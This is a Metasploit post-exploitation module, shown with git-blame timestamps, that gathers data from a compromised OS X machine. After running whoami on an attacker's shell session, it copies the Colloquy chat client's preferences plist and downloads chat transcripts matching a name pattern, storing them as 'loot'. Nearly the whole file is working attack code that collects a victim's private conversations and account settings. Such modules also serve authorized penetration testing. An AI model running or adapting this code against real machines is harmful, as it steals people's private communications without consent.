2012-03-29 21:24:43 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
require 'msf/core/post/common'
|
|
|
|
require 'msf/core/post/file'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
|
|
|
include Msf::Post::Common
|
|
|
|
include Msf::Post::File
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
2012-08-14 20:29:21 +00:00
|
|
|
'Name' => 'OS X Gather Colloquy Enumeration',
|
2012-03-29 21:24:43 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module will collect Colloquy's info plist file and chat logs from the
|
2012-03-30 16:22:55 +00:00
|
|
|
victim's machine. There are three actions you may choose: INFO, CHATS, and
|
|
|
|
ALL. Please note that the CHAT action may take a long time depending on the
|
2012-03-29 21:24:43 +00:00
|
|
|
victim machine, therefore we suggest to set the regex 'PATTERN' option in order
|
|
|
|
to search for certain log names (which consists of the contact's name, and a
|
|
|
|
timestamp). The default 'PATTERN' is configured as "^alien" as an example
|
2012-03-30 16:22:55 +00:00
|
|
|
to search for any chat logs associated with the name "alien".
|
2012-03-29 21:24:43 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'sinn3r'],
|
|
|
|
'Platform' => [ 'osx' ],
|
|
|
|
'SessionTypes' => [ "shell" ],
|
|
|
|
'Actions' =>
|
|
|
|
[
|
|
|
|
['ACCOUNTS', { 'Description' => 'Collect the preferences plists' } ],
|
|
|
|
['CHATS', { 'Description' => 'Collect chat logs with a pattern' } ],
|
|
|
|
['ALL', { 'Description' => 'Collect both the plists and chat logs'}]
|
|
|
|
],
|
|
|
|
'DefaultAction' => 'ALL'
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptRegexp.new('PATTERN', [true, 'Match a keyword in any chat log\'s filename', '^alien']),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Parse a plst file to XML format:
|
|
|
|
# http://hints.macworld.com/article.php?story=20050430105126392
|
|
|
|
#
|
|
|
|
def plutil(filename)
|
|
|
|
exec("plutil -convert xml1 #{filename}")
|
|
|
|
data = exec("cat #{filename}")
|
|
|
|
return data
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_chatlogs(base)
|
|
|
|
chats = []
|
|
|
|
|
|
|
|
# Get all the logs
|
|
|
|
print_status("#{@peer} - Download logs...")
|
|
|
|
folders = dir("\"#{base}\"")
|
|
|
|
folders.each do |f|
|
|
|
|
# Get all the transcripts from this folder
|
|
|
|
trans = exec("find \"#{base}#{f}\" -name *.colloquyTranscript")
|
|
|
|
trans.split("\n").each do |t|
|
|
|
|
fname = ::File.basename(t)
|
|
|
|
# Check fname before downloading it
|
|
|
|
next if fname !~ datastore['PATTERN']
|
|
|
|
print_status("#{@peer} - Downloading #{t}")
|
|
|
|
content = exec("cat \"#{t}\"")
|
|
|
|
chats << {:log_name => fname, :content => content}
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
return chats
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_preferences(path)
|
|
|
|
raw_plist = exec("cat #{path}")
|
|
|
|
return nil if raw_plist =~ /No such file or directory/
|
|
|
|
|
|
|
|
xml_plist = plutil(path)
|
|
|
|
return xml_plist
|
|
|
|
end
|
|
|
|
|
|
|
|
def save(type, data)
|
|
|
|
case type
|
|
|
|
when :preferences
|
|
|
|
p = store_loot(
|
|
|
|
'colloquy.preferences',
|
|
|
|
'text/plain',
|
|
|
|
session,
|
|
|
|
data,
|
|
|
|
"info.colloquy.plist"
|
|
|
|
)
|
|
|
|
print_good("#{@peer} - info.colloquy.plist saved as: #{p}")
|
|
|
|
|
|
|
|
when :chatlogs
|
|
|
|
data.each do |d|
|
|
|
|
log_name = d[:log_name]
|
|
|
|
content = d[:content]
|
|
|
|
|
|
|
|
p = store_loot(
|
|
|
|
'colloquy.chatlogs',
|
|
|
|
'text/plain',
|
|
|
|
session,
|
|
|
|
content,
|
|
|
|
log_name
|
|
|
|
)
|
|
|
|
print_good("#{@peer} - #{log_name} stored in #{p}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def whoami
|
|
|
|
exec("/usr/bin/whoami")
|
|
|
|
end
|
|
|
|
|
|
|
|
def dir(path)
|
|
|
|
subdirs = exec("ls -l #{path}")
|
|
|
|
return [] if subdirs =~ /No such file or directory/
|
|
|
|
items = subdirs.scan(/[A-Z][a-z][a-z]\x20+\d+\x20[\d\:]+\x20(.+)$/).flatten
|
|
|
|
return items
|
|
|
|
end
|
|
|
|
|
|
|
|
def exec(cmd)
|
2012-03-31 07:38:46 +00:00
|
|
|
tries = 0
|
2012-03-29 21:24:43 +00:00
|
|
|
begin
|
|
|
|
out = cmd_exec(cmd).chomp
|
|
|
|
rescue ::Timeout::Error => e
|
2012-03-31 07:38:46 +00:00
|
|
|
tries += 1
|
|
|
|
if tries < 3
|
|
|
|
vprint_error("#{@peer} - #{e.message} - retrying...")
|
|
|
|
retry
|
|
|
|
end
|
2012-03-29 21:24:43 +00:00
|
|
|
rescue EOFError => e
|
2012-03-31 07:38:46 +00:00
|
|
|
tries += 1
|
|
|
|
if tries < 3
|
|
|
|
vprint_error("#{@peer} - #{e.message} - retrying...")
|
|
|
|
retry
|
|
|
|
end
|
2012-03-29 21:24:43 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
if action.nil?
|
|
|
|
print_error("Please specify an action")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
@peer = "#{session.session_host}:#{session.session_port}"
|
|
|
|
user = whoami
|
|
|
|
|
|
|
|
transcripts_path = "/Users/#{user}/Documents/Colloquy Transcripts/"
|
|
|
|
prefs_path = "/Users/#{user}/Library/Preferences/info.colloquy.plist"
|
|
|
|
|
|
|
|
prefs = get_preferences(prefs_path) if action.name =~ /ALL|ACCOUNTS/i
|
|
|
|
chatlogs = get_chatlogs(transcripts_path) if action.name =~ /ALL|CHATS/i
|
|
|
|
|
|
|
|
save(:preferences, prefs) if not prefs.nil? and not prefs.empty?
|
|
|
|
save(:chatlogs, chatlogs) if not chatlogs.nil? and not chatlogs.empty?
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
=begin
|
|
|
|
/Users/[user]/Documents/Colloquy Transcripts
|
|
|
|
/Users/[user]/Library/Preferences/info.colloquy.plist
|
|
|
|
|
|
|
|
Transcript example:
|
|
|
|
/Users/[username]/Documents/Colloquy Transcripts//[server]/[contact] 10-13-11.colloquyTranscript
|
|
|
|
=end
|